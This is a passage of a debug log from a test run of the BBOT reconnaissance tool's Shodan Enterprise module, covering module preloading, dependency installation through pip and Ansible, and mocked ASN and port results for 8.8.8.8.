DNSHelper: shutting down... +2026-03-01 16:58:38,429 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:58:38,430 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:58:38,430 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:58:38,431 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:58:38,547 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_w0joub0koz completed in 0 seconds with status FINISHED +2026-03-01 16:58:38,547 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:58:38,548 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:58:38,549 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events +2026-03-01 16:58:38,549 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 16:58:38,550 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:443', '8.8.8.8:53'] +2026-03-01 16:58:38,550 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected +2026-03-01 16:58:38,550 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] +2026-03-01 16:58:38,550 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected +2026-03-01 16:58:38,551 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-01 16:58:38,551 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-03-01 16:59:13,019 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:59:13,029 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:59:13,029 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:59:13,030 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:59:13,030 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:59:13,031 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:59:13,032 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:59:13,033 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:59:13,033 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:59:13,034 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:59:13,035 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:59:13,038 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:59:13,039 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:59:13,040 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:59:13,041 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:59:13,042 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:59:13,043 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:59:13,044 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:59:13,045 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:59:13,045 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:59:13,045 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:59:13,046 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:59:13,047 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:59:13,048 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:59:13,049 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:59:13,050 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:59:13,050 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:59:13,051 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:59:13,052 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:59:13,052 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:59:13,053 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:59:13,054 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:59:13,054 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:59:13,055 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:59:13,056 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:59:13,056 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:59:13,057 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:59:13,058 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:59:13,059 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:59:13,060 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:59:13,060 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:59:13,061 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:59:13,062 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:59:13,062 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:59:13,063 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:59:13,064 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 16:59:13,065 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 16:59:13,065 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 16:59:13,066 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 16:59:13,066 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 16:59:13,067 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 16:59:13,067 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 16:59:13,068 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 16:59:13,069 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 16:59:13,069 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 16:59:13,070 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 16:59:13,074 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 16:59:13,075 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 16:59:13,075 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 16:59:13,076 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 16:59:13,077 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 16:59:13,078 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 16:59:13,078 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 16:59:13,079 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 16:59:13,080 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 16:59:13,080 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 16:59:13,081 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 16:59:13,082 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 16:59:13,082 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 16:59:13,083 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 16:59:13,084 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 16:59:13,085 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 16:59:13,085 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 16:59:13,086 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 16:59:13,086 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 16:59:13,087 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 16:59:13,088 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 16:59:13,088 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 16:59:13,089 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 16:59:13,090 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 16:59:13,090 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 16:59:13,091 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 16:59:13,096 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 16:59:13,097 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 16:59:13,098 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 16:59:13,099 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 16:59:13,100 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 16:59:13,101 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 16:59:13,101 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 16:59:13,102 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 16:59:13,103 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 16:59:13,103 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 16:59:13,105 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 16:59:13,105 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 16:59:13,106 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 16:59:13,106 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 16:59:13,107 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 16:59:13,108 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 16:59:13,108 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 16:59:13,109 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 16:59:13,109 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 16:59:13,110 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 16:59:13,110 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 16:59:13,111 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 16:59:13,111 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 16:59:13,112 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 16:59:13,113 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 16:59:13,113 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 16:59:13,114 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 16:59:13,115 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 16:59:13,116 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 16:59:13,117 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 16:59:13,118 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 16:59:13,118 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 16:59:13,119 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 16:59:13,120 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 16:59:13,120 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 16:59:13,121 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 16:59:13,122 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 16:59:13,122 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 16:59:13,123 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 16:59:13,123 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 16:59:13,124 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 16:59:13,125 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 16:59:13,126 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 16:59:13,126 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 16:59:13,127 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 16:59:13,127 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 16:59:13,128 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 16:59:13,129 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 16:59:13,130 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 16:59:13,130 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 16:59:13,131 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 16:59:13,131 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 16:59:13,132 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 16:59:13,133 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 16:59:13,134 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 16:59:13,134 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 16:59:13,135 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 16:59:13,136 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 16:59:13,136 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 16:59:13,137 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 16:59:13,138 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 16:59:13,138 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 16:59:13,140 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 16:59:13,140 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 16:59:13,141 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 16:59:13,142 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 16:59:13,142 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 16:59:13,143 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 16:59:13,144 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 16:59:13,144 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:59:13,145 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:59:13,145 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:59:13,146 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:59:13,147 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:59:13,148 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:59:13,148 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:59:13,149 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:59:13,150 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:59:13,150 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:59:13,150 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:59:13,152 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:59:13,153 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:59:13,153 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:59:13,154 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 16:59:13,155 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:59:13,156 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:59:13,156 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:59:13,157 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:59:14,241 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:59:14,241 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:59:14,242 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:59:14,374 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:59:14,976 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:59:14,976 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:59:14,976 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:59:14,976 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:59:15,179 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:59:15,180 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:59:15,287 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:59:15,288 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:59:15,342 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:59:15,345 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:59:15,345 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:59:15,773 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:59:15,773 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:59:19,112 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:59:19,112 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:59:19,113 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:59:20,878 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:59:20,879 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:59:20,884 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:59:20,885 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:59:20,885 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:59:20,886 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:59:20,886 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:59:20,886 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:59:20,891 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ufn8fy2dvj2co7d9xt49 +2026-03-01 16:59:21,695 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:59:21,696 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:59:21,697 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:59:21,697 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:59:21,698 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:59:21,698 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:59:21,699 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:59:21,821 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:59:21,821 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:59:21,821 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:59:21,823 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:59:21,823 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:59:21,823 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:59:21,823 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:59:21,824 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:59:21,824 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:59:21,825 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:59:21,825 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:59:21,826 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:59:21,826 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:59:21,826 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:59:21,826 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:59:21,827 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:59:21,827 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:59:21,827 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:59:21,827 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:59:21,828 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:59:21,828 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:59:21,828 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:59:21,828 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:59:21,829 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:59:21,829 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:59:21,829 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:59:21,830 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:59:21,830 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:59:21,830 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:59:21,830 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:59:21,830 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:59:21,831 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:59:21,831 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:59:21,831 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module 